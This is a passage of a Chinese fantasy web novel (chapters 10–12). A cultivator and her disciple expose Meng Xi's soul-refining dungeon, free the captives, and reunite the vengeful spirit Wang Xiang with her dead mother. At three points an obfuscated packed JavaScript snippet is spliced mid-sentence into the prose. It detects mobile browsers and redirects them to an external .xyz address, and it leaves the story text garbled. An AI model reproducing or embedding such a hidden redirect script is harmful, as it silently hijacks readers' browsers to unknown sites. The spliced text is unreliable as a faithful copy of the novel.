谢羲和拿起方印,细细查看:“难怪……这屋里放了镇狱碑,方才压住了满院尸傀。” 镇狱碑乃仙家法器,形制如“回”。一旦催动,可护佑中心净土,将凶兽禁锢于外圈,历来有镇守庭户之用。 陶云倦抱臂挑眉:“张婆子,你现在怎么不继续装疯卖傻了?” 张婆子搓了搓手,浑浊的眼中闪过一抹狡黠:“那日一见二位,就晓得你们不是普通人……但是和孟夕不一样,你们就是吓吓老婆子我,对我没什么恶意。是善是恶,是真是假,我老婆子活到这岁数还是分得清的。” 若是歹人,何必在意被打晕的女子身在何处。这世道女子多艰,若是被遗弃于暗巷,只怕凶多吉少。光从这点来看,张婆子相信,这二人坏不到哪儿去。 陶云倦轻嗤一声,语气中带着几分讥诮:“你倒是机灵得很。冒着被尸傀生吞活剥的风险摸到这儿来,总不至于是专程来给它们送人头的吧?” 张婆子凑近几步,话音里透着恨意:“孟夕那些伤天害人的勾当我最清楚,这些年我装疯卖傻,等的就是有人能破她的邪术,来收她!” 陶云倦不为所动:“哦?你怎知道我们就能对付得了她?若我们不敌孟夕,或者根本不愿管你,你又如何?” 张婆子拍了拍杂毛狗的脑袋,嘿嘿笑了两声:“老婆子我好歹也跟了孟夕几年,这点看人的本事还是有的。” 陶云倦狐疑地打量她一番,虽未见什么过人之处,但见她挺胸抬头、神色坦然,不似作伪,便也就罢了。 “原本以为你们又和之前的人一样,不是败走炼为怪物,就是被她收买同流合污。但孟夕离府后,你们又折回来了,我就知道……时机终于到了。”张婆子咧开嘴笑,“这才拼了老命赶来,助大人一臂之力!” 说着,她转身走到书案边,俯身钻到书案底下,手指摸索片刻,只听“咔嚓”一声轻响,地面滑开一道暗门。 杂毛狗毫不犹豫,抢先钻入地道,张婆子回过头,见谢、陶二人仍立在原处,不由急声道:“大人,快来啊!孟夕的秘密都在下面呢!莫非你们还怕我这老婆子坑你们不成?” 地道昏暗,岔路纵横。很难想象这座金兰绣坊地下居然还有这么庞杂的一个地下迷宫。 幸而有狗引路,那条杂毛狗走在最前面,时不时停下,翕动鼻翼,依靠气味辨认方向,谢羲和掌心燃灯照亮前路,张婆子在中间,陶云倦殿后。 地宫很静,只剩下三人一狗的脚步声回响。 走了一会儿,谢羲和忽然开口:“张大娘,你在会中这些年,可曾听过一位名叫王香的女娘?” 张大娘还未回话,前方的杂毛狗却突然发出一声低低的呜咽。 原来眼前又是一条岔路,那狗在原地转了两圈,嗅了又嗅,方才选定一条继续前行。 张婆子想了想,面露茫然,摇了摇头:“不曾听过……又或许是忘了。” “是,我老婆子承过同心会天大的恩……可这双手,也因此沾了腌臜,无心之间害了不少人,替它造了数不清的孽……” 张婆子喉咙里发出嗬嗬的怪声,像哭又像笑:“起初夜里惊醒,一身冷汗,还知道怕……后来,后来就硬逼着自己不去想、不能想。哈!忘了!都忘了!早就忘干净啦!” 陶云倦道:“那你与孟夕,究竟为何结怨至此?” 张婆子抬手抹了把脸,哑声道:“报应……都是报应!” “我儿只是来给我送件冬衣……她们却……”张婆子哽咽得说不出话来,似乎想起了极为痛苦的事,她的声音陡然尖锐起来,“我跪着求她,头磕破了,血糊住了眼睛……她不松口。” 张婆子浑身颤抖,几乎说不下去,狠狠喘了几口气才继续道:“我偷偷跟着她,想再求情,却发现她的秘密……她把我儿变成了怪物!那时她的妖术还未大成,我儿成了个傻子,不会说、不会动,是活活饿死的啊!” 她声音中是藏不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406280|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住的恨意:“我疯?我怎么能不疯!只有疯了,她才会觉得我没了爪牙,留我一条狗命显得她仁慈!” 张婆子哽咽了一下,声音几乎是从牙缝里挤出来:“所以啊,这些年来我装疯卖傻、骗吃骗喝,甚至抢人东西,但这都是我自己靠自己得来的!我老婆子不心虚,随他们骂!为的就是绝不再欠人情!” 陶云倦听着张婆子的话,嘴唇抿紧了些。 相比之下,一旁的谢羲和倒显得无动于衷。 她行走人间七百余年,早已见惯了各种人、各种事,缘分到了帮上一把,缘分不到她也只能作壁上观,无能为力。 正如王秀于她还魂之夜向她求助算是缘,而张婆子的事发生在过去她已无从改变,不必沉湎,因此也并不作评论。 只是,她也稍微理解了初见时,张婆子对于那位公子替她付钱一事的古怪之举。 如今她所能做的,便是斩断眼前的祸根,阻止孟夕祸及更多人。这,便是她当下所遇之“缘”,当管之“事”。 张婆子看向前头带路的杂毛狗,继续道:“只有跟这些畜牲待在一起,我才觉得干净!它们不会笑你痴,不会骗你卖命,更不会逼你喝亲骨肉的血!人?人算什么东西!?”她眼中闪过一抹决绝,“你们要是能撕下她那身人皮……我这把老骨头,死也甘愿!” 那杂毛狗似有所感,回过头来看了张婆子一眼,似在安慰。 陶云倦语气稍缓:“赵舒娘对你似乎颇为照顾,莫非……她也是孟夕安排在你身边的眼线?” “起初是……孟夕安排她盯着我。可赵舒娘那孩子……心肠太好。”张婆子语气有些复杂,“她瞧着我可怜,偷偷省下吃食给我,我骂她、赶她走,她也不怪我,有时还会给我几块铜板子过日子……” 正说着,杂毛狗突然叫了一声。 谢羲和停下脚步:“到了。” 她伸手推开沉重的石门,首先映入眼中的是一个刻着法阵的圆台祭坛,上面吊着一个人,正是会上被扶去休息的周大娘。 两侧铁栏后拘押着数十人,男女皆有,个个目光空洞、神情僵硬。虽未彻底化为尸傀,却显然已被邪术侵蚀心神。粗略一扫,竟有三十余众。其中几人身着道袍,一看便是玄门修士,竟然也遭此毒手。 剑光一闪,牢门铁锁应声而裂。 “师父,人在这里。”陶云倦回头道:“少了一个。” 谢羲和蹙眉道:“先设法将人唤醒,问明情况,稍后一同撤离。”说罢,她走向一旁的书案。 案上散乱堆着手稿与书籍,像是孟夕研究邪术的草稿。 谢羲和随手拿起几页,只看了数行,便觉得不对。 这纸上所记载的炼魂之法早在百年前就被守仙宫列为禁术,严令销毁,也不知孟夕从何处得到这阴毒的传承。 她又翻了几页,一封信赫然压在残卷之下。 信封上画着一朵桃花。她拆开一看,竟然是一封密令:“西陵女修,持寤生剑。遇之,即刻上报,不得有误。” 信上虽未直书其名,但其意所指,已是呼之欲出。 谢羲和总算解了心中疑惑。难怪。在听她自报家门后,孟夕便出手狠厉再不遮掩,原来是打着“宁可错杀,不可放过”的算盘,想要先将她拿下,再行辨认。 方才见孟夕时,她正准备出门,如今丢下这几人不见了踪影,莫非她的上级也在四屏郡? 谢羲和盯着那枚桃花令有些出神。 只可惜孟夕应该只是个小喽啰,连修行者也算不上。故而孟夕并不清楚“寤生”背后的代表的人,也不知她的身份与实力,更不知此剑早已易主。 而这以桃花为令的组织,显然也还未收到这个消息。 因榕山坟头鬼唱,她卷入同心会的事件,如今又阴差阳错发现,站在她对面的,至少是两路人马,并且都因寤生剑纠缠于她。 最最让她感到可笑的是,连她自己也想不明白,这些人拿走寤生剑,究竟是为了什么呢? 10. 缠丝乱福祸相依2 陶云倦的声音打断了谢羲和的沉思:“师父,人醒了。” 几个女娘相继发出痛苦的呻吟,涣散的眼神逐渐聚焦,尚未来得及思索面前这三人是敌是友,当她们的目光扫过铁栏后那些形如提线木偶般的“人”时,便来不及追究他们的底细了。 “阿萍?!是阿萍姐!她之前说回了老家……她怎么会在这里?!” 另一名女娘也指着另一个方向,声音颤抖得不成样子:“小慧!那不是小慧吗?!孟会长上次还说她找到了好人家,被接去享福去了……她怎么会变成这样?!” 女娘们像是被抽去了全身骨头,瘫软在地。 钱娘子流着泪喃喃道:“她对我们那样好,教我们识字、算数,告诉我们女子也能自立自强……一切都是假的吗?” “蠢!东西是真的,心思是假的呗!这还不明白?”周大娘呵呵笑了两声,“人家那是放饵钓鱼呢!你们光瞅着饵香,就没瞧见底下藏着的钩子?老娘我混江湖的时候就知道,越是说得天花乱坠为你好的,越得防着点儿!” 这话像一记冰冷的耳光,狠狠抽醒了她们。几个年轻女娘脸上血色尽褪,嘴唇哆嗦着,再也说不出一句话来。 陶云倦问:“和你们在一起的还有一人可知被带到何处?”莫非不只这一处关押人的地方? 一人忿忿道:“还能去哪儿?孟七她和会长是一伙儿的!” 想起孟七对于周大娘去处的模棱两可,言语间对孟夕的推崇,谢羲和有了猜测,便不再多问。 “现在不是说这些的时候。孟夕随时可能回来,当务之急是先带你们离开这里。”她转向陶云倦,“云倦,你先带她们出去,这里交给我。” 陶云倦只迟疑了一瞬,便点头道:“好。师父,你自己务必小心,我安顿好她们即刻就回。”他转身朝向那群惊魂未定的人,神情稍冷,“都跟我走。” 张婆子猛地抓住谢羲和的衣袖,急声道:“大人!让我留下!我熟悉这老妖婆的底细,定能帮上你的忙!” 谢羲和并未看她,只淡声打断:“你的心意我明白,但仇再深也重不过自己的命。你随她们一起走吧。” 张婆子见她目光沉静、不容置疑,便知没有转圜的余地,颓然地松开了手,退后两步,不再作声。 一旁的杂毛狗却仍蹲坐不动,谢羲和瞥了一眼,道:“狗也带走。” 谢羲和目送他们消失在拐角,这才收回目光,看着案上的禁术手稿和那封桃花令,眼神彻底冷了下来。 她取了一碗水,以朱砂画了个简易的感通阵,心中默念口诀:“阴阳为引,水镜通心。” 谢羲和垂眸望向碗中,水面起初平静无波,随即漾开涟漪,就在水花溅起的刹那,一道懒散欠揍的男声蓦地响起。 “守仙宫弟子祁爰,恭聆仙谕。这位仙友,询消息、购功法、唠闲嗑,本处恕不承办,仅受理举告、自首之务。若要投诉当值,还请亲至守仙宫门外,高呼三尸尊名。” “温馨提示:报案请出示证据,若是空口白话、瞎编乱造,譬如‘我道侣昨夜梦里出轨’之类查无实据者,一律视作讹诈公务。届时莫怪本处施展走路踩狗屎、打坐就腿麻、御剑总逆风等晦气小咒,助你体验一把真实人间。” 祁爰一口气说了一长串话,谢羲和完全插不上嘴,她问:“今日值守三尸神君是哪一位?” 对面一顿:“不是吧仙友,这就要投诉我了?” 谢羲和懒得多言,自曝其名:“西陵太素宫,谢羲和。” 祁爰舒了一口气,恍然大悟道:“原来仙友要举告的是谢元君。” 谢羲和:“……” 谢羲和木然道:“我自首。” 那头沉默了一瞬,随即响起一阵夸张的大笑:“哈、哈、哈!我道是谁,原来是鼎鼎大名的谢元君!久仰久仰,小的这便去为您请青姑……” 脚步声才响几下,又急匆匆折返,压低了嗓音悄悄道:“咳……谢元君您大人大量,若得方便……还望在功过簿上美言一二?这月考核若再不过,小的怕是就要被贬去守九天云路,日日得罪各方同修了!多谢多谢!” 嘴皮子这般利索,不多得罪几个人,倒真是屈才了。谢羲和腹诽道。 又过了会儿,环佩叮咚、清音错落声渐近,谢羲和便知是青姑到了。 三尸神先天之炁所化,是如今最接近于神的存在。其中,青姑钟情华饰,白姑酷爱珍馐,血姑痴迷绝色。 谢羲和与青姑交情最深,只因她是极少数不仅不嫌,反而是欣赏青姑一身琳琅响佩之人。 来不及寒暄,谢羲和切入正题,径直将炼魂禁术之事三言两语道出。 “其一,我观孟夕灵力虚浮外散,不似自行修炼所得,倒像是从他处外借而来。这炼魂术是否有此类效??” 青姑沉思道:“你猜的不错,这正是以炼魂增补法力的邪功。至于孟夕,守仙宫并无此人记载,她应该还是个凡人,就是不知得到这功法是不是偶然。” 谢羲和继续道,“其二,那些未炼成的生魂,可还有重归肉身之法?” “少司命当年自蜀中归来,似乎推演过生魂逆阵,我记得他好似将破解之法封存于灵枢秘卷之中……” 青姑那边没了声,谢羲和知道,她定是以神念巡游于浩瀚典藏之中,果然,数息之后,青姑语调轻扬,“找到了。我这就将图谱传与你。” 水面波纹轻漾,一道流光自水面跃出,是青姑将记载投影过来了。 谢羲和凝神静气,依照图谱指引,以指尖灵光为引,依样复刻阵法。幸而孟夕亦需阵法辅助,所需器物一应俱全。 她肃容踏步,走至阵眼,指尖掐诀:“规天矩地,法度自成。方圆既立,邪祟不侵!” 咒言为令,地面阵纹逐一亮起,青白交缠的光辉冲天而起,似莲绽光华,将整座牢笼映照得纤毫毕现,继而逐渐隐没褪去。 待光芒散尽,只见牢笼中的那些“人”接连闭目倒下,面色仍带着青灰,眉间戾气却已消散,如同陷入沉眠一般。 施法既成,谢羲和脸色微白,轻轻喘了一口气,细密的汗水沿额角滑落,呼吸间带着不易察觉的颤抖。 果然,刚刚涅槃的身体还未恢复如常,尚需静养调理,强行使用还灵之术终究是逞能了些。 她闭目凝神,徐徐调息。片刻后,翻涌四溢的灵力被她缓缓压下,苍白的脸色这才稍稍好转了些。 她扫视一周道:“都昏过去了。” 青姑抚掌轻笑:“那便对了。神魂初归,尚需温养恢复,凡人受不住,自然也就晕了。” “如此便好。”谢羲和神色稍霁,又道,“其三,是我的私事,若有为难,你可不作回答。” 青姑笑了笑:“但问无妨。” 谢羲和:“仙门中,如今以桃花为令的门派组织有哪些?” “我得了消息说是你又经历了一次涅槃,这次居然选择把镇灵山给忘了?”青姑讶然,“仙门中若说起桃花,想起的便是云门镇灵山无疑。” 谢羲和想了想,道:“没忘,只是确定一下答案。” 涅槃道虽可免去轮回之苦,却终究难免付出代价。她选择遗忘的,应当是杂七杂八的琐事,权当清理尘垢了。 青姑更惊讶了:“那你问镇灵山干嘛?” 谢羲和问:“如今镇灵山入世弟子,入仙境的可是只有迟惑一人?” 青姑道:“不错。” 谢羲和:“他如今身在何处?” “你这些问题倒都不算为难,稍微一打听便可知。”青姑轻笑一声,语带深意,“你回西陵一看便知。” 谢羲和不明所以,只听青姑继续道:“他此刻正在西陵山下,似有长居之意。” 谢羲和蹙眉追问:“可知缘由?” 青姑语调轻扬,带了几分调侃:“倒有一则传闻,说是你手段了得,竟将那位镇灵山那位百年不遇的天才戏弄于股掌,末了还嫌不够,又将他弃如敝履。” 谢羲和闻言,顿感一阵头皮发麻,心道:“这无妄之灾从何说起?分明是麻烦长了腿,自己找上门来。” 她扶额,语气里带了些许无奈:“始乱弃终?我哪里敢啊……我与迟惑不过见过两面,说了十句话不到,这又是谁在背后给我编排这等传闻?” “这就不得而知了。”青姑哈哈大笑,颇有些幸灾乐祸:“镇灵山那群长老的护短与固执是出了名的,若他们听信此事,觉得是你折辱了他们的宝贝疙瘩……届时,只怕悬赏买你命的金帖上,又要多出几笔添头了。” 这时,外面传来了一阵异动,谢羲和敛神苦笑:“我得去收拾残局了,你们尽快派人来处理后续。此番多谢相助,改日再叙。” “谢羲和。”眼见谢羲和便要中断联系,青姑出声叫住她,“容我多嘴一句。仙术,不可伤及凡人。你可莫要令我等为难……” 谢羲和静了一瞬,应道:“知道了。不会再犯。” 悬浮在空中的水泉落回碗中,涟漪荡开,映出谢羲和面无表情的脸。 水中的她扯起一抹微笑,淡漠的神情变得柔和,逐渐舒展开来。 谢羲和已将禁术的拓影传给青姑,手中孟夕这一份,断不可留。 她目光再次扫过那枚桃花令,桃色霏艳,比起镇灵山桃花绕枝,寒剑锁柔情,这更像是女子额上用胭脂精心晕染、描摹的花钿容妆。 莹蓝色的灵火缠上案上的文书,顷刻间将其吞没殆尽。 她反手在门上布下禁制以防孟夕去而复返,随即提气纵身,循着那异响处疾掠而去。 刚行至半路,整座地宫猛地一震,头顶沙石簌簌落下,应该是某处坍塌了。 谢羲和心下一凛,当即提速疾行。奈何地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406281|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫岔路盘错、曲折如蚁穴,四下幽暗无光,她虽能感知大致方向,却屡屡被迂回岔道所阻,到底是迟了一步。 待她赶到,只见狭窄的甬道内,陶云倦正单膝跪在张婆子身前,手指刚从她鼻端移开。一旁,那条杂毛狗无声无息地仰躺在地,颈项扭曲,已然气绝。 陶云倦听见脚步声,目光锋锐逼人,见是谢羲和,握剑的手指微微一松,拔出三寸的宵练才悄然归鞘。 在浮动的烟尘里,他低下头,声音低哑,“抱歉,师父。我来迟了。” 半柱香前。 陶云倦正护送着众人撤离地宫,行至半途,他忽然抬手示意众人止步。 幽暗的甬道中,他隐隐听到百步开外有脚步声传来,因岔路繁多,也许离得更近。 杂毛狗弓背竖毛,喉中滚出威胁般的低吼。张婆子眼神一变,嘶声道:“是她!是孟夕回来了!” 陶云倦按上剑柄,眼底寒光一凛。 本当迎战,一举擒敌。可当目光扫过身后那些面色惨白、浑身战栗的女娘,他强压下心头战意。 陶云倦问张婆子道:“这附近可有什么能藏身的地方?” 张婆子下意识看向脚边的杂毛狗。那狗竟似通人意,转身便引着他们来到甬道尽头一堵看似寻常的石墙前。 陶云倦指尖在石壁上摸索,忽然感受到一处凸起,他用力一按,只听机括轮轴拨动间,石墙豁然移开,露出一间不大的储物室。 事急从权,陶云倦一眼瞥见散落在角落的些许符纸。他毫不犹豫咬破指尖,龙飞凤舞画了数道剑符。 他将符纸随意递给最近的一人,疾声道:“危急时刻,撕开此符可替你们抵挡一时。” 说罢,他转身在暗门处布下禁制,门将要合上之际,他叮嘱道:“此阵可出不可进,你们莫离此阵,等我回来。” 岂料陶云倦才刚走,张婆子眼中闪过狠戾之色,她见过陶云倦的剑芒,猜测这符纸应当是同类法术。 她一把抢过符咒,朝狗喝道:“走!报仇雪恨就在今日!” 众人惊了一跳。那杂毛狗喉咙里发出压抑的低吼,目中的狂怒与嫉愤竟然不比张婆子少。 另一边,几番交手下,孟夕发现自己不是陶云倦的对手,仗着对地宫的了解,凭借复杂地形勉强拉开几步距离,仓皇逃窜。 岂料张婆子早已在她的必经之路上埋伏多时,猝然发难,孟夕避之不及,张婆子凭剑符杀了孟夕一个措手不及。 孟夕遭此一击,身形踉跄,戾气暴涨。 她反手一掌,阴煞之气将猛扑过来的杂毛狗狠狠掀飞出去。那狗哀鸣一声,撞上数丈外的石壁,当场筋骨尽碎,气绝身亡。 张婆子目眦欲裂,嘶吼着还想拼命,只听一声闷响,张婆子被重重击飞,后脑勺猛磕在坚硬的石壁上,顿时鲜血淋漓,颓然瘫倒在地。 等陶云倦闻声赶来,只见孟夕挣扎着按向壁上一处机关,轰隆巨响间,通道塌陷,烟尘弥漫,堵死的通道中再不见孟夕的踪迹。 事已至此,回天乏术。 谢羲和见陶云倦神色恹恹,似在自责,温声道:“你只有一人,不可能事事周全。这也是她自己的选择,怨不得你。” 陶云倦眼睫微动,低道:“我知道。”眼角余光忽然瞥见张婆子的手指几不可察地动了动。 再一眨眼——不是错觉! 陶云倦拔剑起身,退至谢羲和身前。 只见张婆子眼皮子转了转,竟捂着后脑勺“哎哟”一声坐起身来。 她茫然四顾,目光最终落在地上那一大滩蜿蜒向前的血迹上,第一句话便哑声问道:“孟夕呢?孟夕她死了没有?” 她的面目陡然狰狞起来:“我想起来了!她受伤了,但还没死!还真是命大!”说着,拽紧手中余下的剑符,便要挣扎起身去追。 谢羲和:“王香,你连和你生死与共的狗,都不看一眼吗?” 话一出口,陶云倦侧目,惊讶了一瞬,而后眼中闪过一丝了然。 张婆子身形一滞,顿时意识到自己露了破绽,急忙找补,却在弯腰的一瞬彻底僵在原地。 “呵呵。你知道了。”张婆子,或者说,刚从犬身脱离、附体于这具刚断气的躯壳中的王香直起身来:“不重要,都不重要。待我杀了孟夕……再说不迟!” 她转身欲循另一条路追去,却被谢羲和出声唤住:“你已昏迷多时,她早已遁走。” 王香脚步不停,眼中怒火中烧:“未必追不上。我的魂被困在这地宫三个多月,孟夕常走哪条,我都清楚。” 谢羲和道:“我已经探查过,地宫里没有她的气息了。” 王香不理,拖着张婆子残破的身体继续往前,只听身后一声幽幽地叹息。 “你的魂要散了,去见你母亲最后一面,或是找藏起来的孟夕复仇,你自己决定。” 11. 缠丝乱福祸相依3 夜幕降临时,谢羲和与王香来到了榕山乱葬岗。 陶云倦是仙门中人,在世俗的身份是晋阳侯府世子,无论和官府交涉还是守仙宫的人周旋都更为便利,因此谢羲和留他善后,处理后续事宜。 王香道:“你这是什么意思?我母亲好好在家呆着你带我来这里干什么?” 谢羲和道:“你逃离地宫后还没有回家看过吗?” 王香道:“她什么都帮不了我,我回去干什么?” 谢羲和道:“你就没想过,你失踪的这几个月,你母亲会去找你吗?” “怎么可能?”王香的嘴唇动了动,似乎预感到了什么,笑声尖利刺耳:“怎么可能啊?她连县城都没出过,哪儿来的胆子去郡里找我啊?!” 谢羲和看着她欲哭无泪的眼,张婆子苍老的面容皱成一团,显得可怖又可怜。 分明知道了答案,眼中却还燃着最后一丝希冀。 谢羲和轻声道:“那你可算是小瞧了你母亲。” 王香沉默,被乱坟岗的荒草绊得踉跄了一下:“她死了啊?” 谢羲和没空答她了,因为她吹响了墨玉笛。 王香呆呆地看着眼前的潦草的坟茔,睁大的双眼中泪珠断了线,她扯起一抹讥笑,重重地又说了一遍,“死了?死得好。” 今夜是一轮下弦月,浓云蔽月,天地昏沉,随着谢羲和的招魂曲响起,月光冲破云层,如水镜高悬于空,清辉照亮坟岗。 王秀的鬼魂逐渐凝形,她惊讶地看着眼前丑陋、衰老的老妇,迟疑道:“香儿?是我的香儿吗?!” 未得回应,身体先一步认出,扑身上前,但她扑了个空,隔着阴阳,眼泪哗啦啦地流下:“香儿,你怎么成这样了啊?” 王香不答,反而恶声恶气道:“你怎么死的?” 她托身于犬时,心智蒙了一层雾,只想着先报仇再说,不要把木讷的母亲卷进来才好。又怕被人发现,当成邪祟,故而狠心没有回过一次家,没想到王秀竟然还是死了。 王秀看了眼谢羲和道:“你走了之后,娘想陪你一起上路,也好过你一个人在黄泉路上孤孤单单……” 闻言,谢羲和指尖动了动,墨玉笛在手中转了一圈,转过身去,留出空间给二人诉情。 “谁要你陪?谁要你陪?!”王香闻言却是狠戾起来:“你就安安心心绣你的花不好吗?平时半点主意没有,怎么这事就这么有主意了?!” 王秀掩面而泣:“是娘的错,是娘没本事,对不起你……” “哭哭哭!你就知道哭!”王香气得来回踱步,“对!就是你没本事!要是有本事你何至于——你、你的手怎么了?” 王秀慌忙遮掩,王香冲过去想拉起她的袖子查看,又拉了个空。 王香怔在原地,混沌的脑海里模糊的画面一闪而逝。 孟夕命她去劝说一位即将出嫁的同乡,她听信孟夕以为那姑娘和她一样被负心人欺瞒了感情、辜负了真心。那傻女子和过去的她一样,信了一世一双人,她铩羽而归。不久后,她发觉同乡宛若变了一个人,再之后,便彻底失去了踪迹。 王香心下起疑,悄悄返回县里查探,竟撞破了几个同心会的执事姐妹秘密向城外运送尸体。她悄悄报了案,却不曾想自己也遭了毒手,被囚入暗无天日的地牢之中。 她成了孟夕炼魂术下的失败之作,却也因这“失败”,魂魄未散,随那些被丢弃的尸身一同弃于四屏郡城外的乱葬岗上。 不知昏沉了多久,在一片冰冷与死寂中,她忽然被一个温暖的怀抱紧紧抱住。恍惚间,她感受到滚烫的泪水、黏稠的鲜血,听见野狗此起彼伏的吠叫,以及一位妇人撕心裂肺的哭嚎与悲鸣…… 她原以为抱住她的是张婆子,但事实上,从小到大无论她变成什么模样,会舍命护着她的,永远只有那一个人。 只是,她明白的太晚了。 王秀的魂影愈发淡薄:“来世,娘一定……”话至嘴边,王秀嗫嚅了一下,声音消逝在夜风中,“来世,你要去个好人家……” ——别再有我这样无用的娘,护不住你,连为你报仇都无能为力,想要知道你的死因还要假借他人之手…… ——你要投个好胎,平安顺遂、富贵荣华,不必自己亲手去争、去抢,你想要的、想拥有的,一切珍重之物都会有更好的人替我捧到你面前…… ——来世,不要做我的孩儿,跟着我受苦了…… 月光渐渐褪去光华,隐入云层。 王秀的身形逐渐淡去,化作星星点点的尘埃,如流萤般散去。 王香伸手欲抓,却抓了个空。 “娘——!!”王香伏地,嚎啕大哭。 一道秀丽少女的魂影自那年迈丑陋的躯壳中挣扎而出,她奋力扑去,探出指尖,堪堪触向王秀即将消散的虚影。 她试图握住母亲最后的温度,却只虚虚一握,萤火般的微光便已从指缝间流散。 ——谁稀罕什么荣华富贵,我恨的……从来都是你不懂护全自己…… 秀才哪里是没了音讯?分明是和话本一般俗气的另娶他人。 婆家欺负王秀软弱,嫌她不是个男儿,王秀刚生产完就被他们赶出家门。 王秀一针一线,熬坏了眼睛。人善被人欺,被人低价买了绣品也只唯唯诺诺。十指不知道被刺穿多少遍,才将她养大成人。从小到大,好的坏的,只要王秀有,都紧着她。 在这样的境遇里长大,她不得不早早强硬起来。她要活得漂亮、活得张扬,还想要让王秀过上好日子。 ——所以,我不是怪你,我是怪自己,自诩聪明还上当受骗…… 一度被富贵迷了心窍,以为那富家公子被她玩弄于鼓掌之中,哪晓得别人比她段位更高。 在家颓废数日,却发现若是自己倒了,王秀怕是更不好过,这才眼泪一抹,重新振作去郡里谋生,却不想岂料才出狼窝,又入虎穴,遇上了孟夕这个死劫…… 她的魂已经很淡了,王秀残留的魂光温柔地包裹着她,她像是重新回到了羊水中,被母亲抱在怀中。 “来世……我还要你做我的娘亲……” 不知从哪里飞来的萤火虫徘徊不散,谢羲和放了一把青于坟头,转身离去。 身后,两座土坟紧紧相依,一如生前母女二人相依为命。 金兰绣坊的大门已被贴上封条,回来的路上谢羲和便已经看见官府和守仙宫联名张贴的告示悬赏孟夕的行踪。 分管四屏郡的守仙宫弟子恭敬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406282|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地向谢羲和行礼:“谢元君。” 正在与郡守交谈的陶云倦闻声抬头,原本冷峻的神色霎时如春雪初融,绽开明朗的笑意:“师父,你回来啦。” 一旁的郡守暗暗抹了把冷汗,心道这晋阳侯世子一见到谢羲和,就跟狗见着肉骨头似的,连声音都黏糊了几分,实在瘆得慌。和方才责问他时的那副冷若冰霜的模样,简直两副嘴脸,判若两人。 陶云倦和谢羲和并肩而行:“王香如何了?” 谢羲和笑道:“执念散了,也就免了魂飞魄散的宿命。现在她们母女二人应该在酆都重遇了吧。” 陶云倦也笑:“那就好。” 谢羲和问:“你这边可有什么收获?” 说到这个,陶云倦脸上的笑意淡了几分,平静地开口:“这女人,倒是出人意料。我们连夜翻遍了金兰绣坊的账本,账目清晰,条条分明,照她的处境,没有一分钱花在不该花的地方。”说到这里,他声音中带了些许讽意,”若不是早知道她以活人炼制尸傀,我几乎要赞她一句高义。” 听到此处,谢羲和也是一愣。 陶云倦目光深邃,语调平缓,似乎只是在陈述一件寻常事:“她一面夺魂炼傀,一面重金请先生给女子授课、周济会中贫弱女子、打点府衙上下……毕竟三天两头就有人举报她们‘女子聚众、图谋不轨’,没银子打点,这同心会早散了。” 谢羲和目光也沉了下去,只道:“善是她,恶也是她,若非同根而生,相煎何急?” 陶云倦眼睛一转,便知道谢羲和的意思:“师父想必还有话要问那些女娘,我带师父去。” 说着,他看向了身后的郡守。郡守埋头走路,不知在想什么,一时未察,竟超过了他们。 陶云倦轻咳了两声,郡守才反应过来,赶忙退回两步:“谢元君,世子,下官失仪了。” 郡守略定心神:“绣坊的人际关系还在排查,那些女娘,虽受人蒙骗,情有可原,但依律仍需在牢中羁押一段时日,以待详查。” 一行人走至狱所门外,远远便见一人正被狱卒带出。只见他点头哈腰,扯住门口几名狱卒,挨个塞了些银钱。狱卒推拒几下,终是收下了,那人这才长舒一口气。 “诸位大哥,我家那口子就托付给你们了……她身子不好,还请各位行个方便,日后定当厚报!” 郡守方才因属下敷衍办案刚受了陶云倦的斥责,一转头竟亲眼目睹有人公然在衙狱前行贿,顿时后背发凉,又惊又怒,当即喝道:“成何体统!刑狱之地,岂容你如此公然行贿!视王法为何物?!来人——” “且慢。” 他正欲唤人拿办,却听见身旁陶云倦淡声道:“下不为例。” 竟然是要轻拿轻放了。郡守摸不准他的意思,佯装厉色:“还不将银钱收回!在贵人面前还敢如此放肆,还不谢恩!” 那人这才如梦初醒,慌忙收回银子,连连叩首作揖:“小民糊涂!多谢大人宽宏!多谢大人不计小民之过!” 三人并未停留,径直向狱门内走去。那行贿男子躬身立在一旁,待他们走过,才敢稍稍抬头。 望着谢羲和、陶云倦的背影,他面露困惑,继而像是忽然忆起什么:“这不是在馄饨摊的那两人吗?” 12. 缠丝乱福祸相依4 牢狱的环境谢羲和并不陌生,阴冷、潮湿,空气中弥漫着霉味、血气,以及绝望。 只听一人高声道:“会长何错之有?没有会长,你我如今还在夫家的拳脚、白眼下苟延残喘!没有会长,哪来的金兰绣坊让我们有安身立命之所?这些对你们的好,难道是假的吗?!” “错?会长当然有错。” 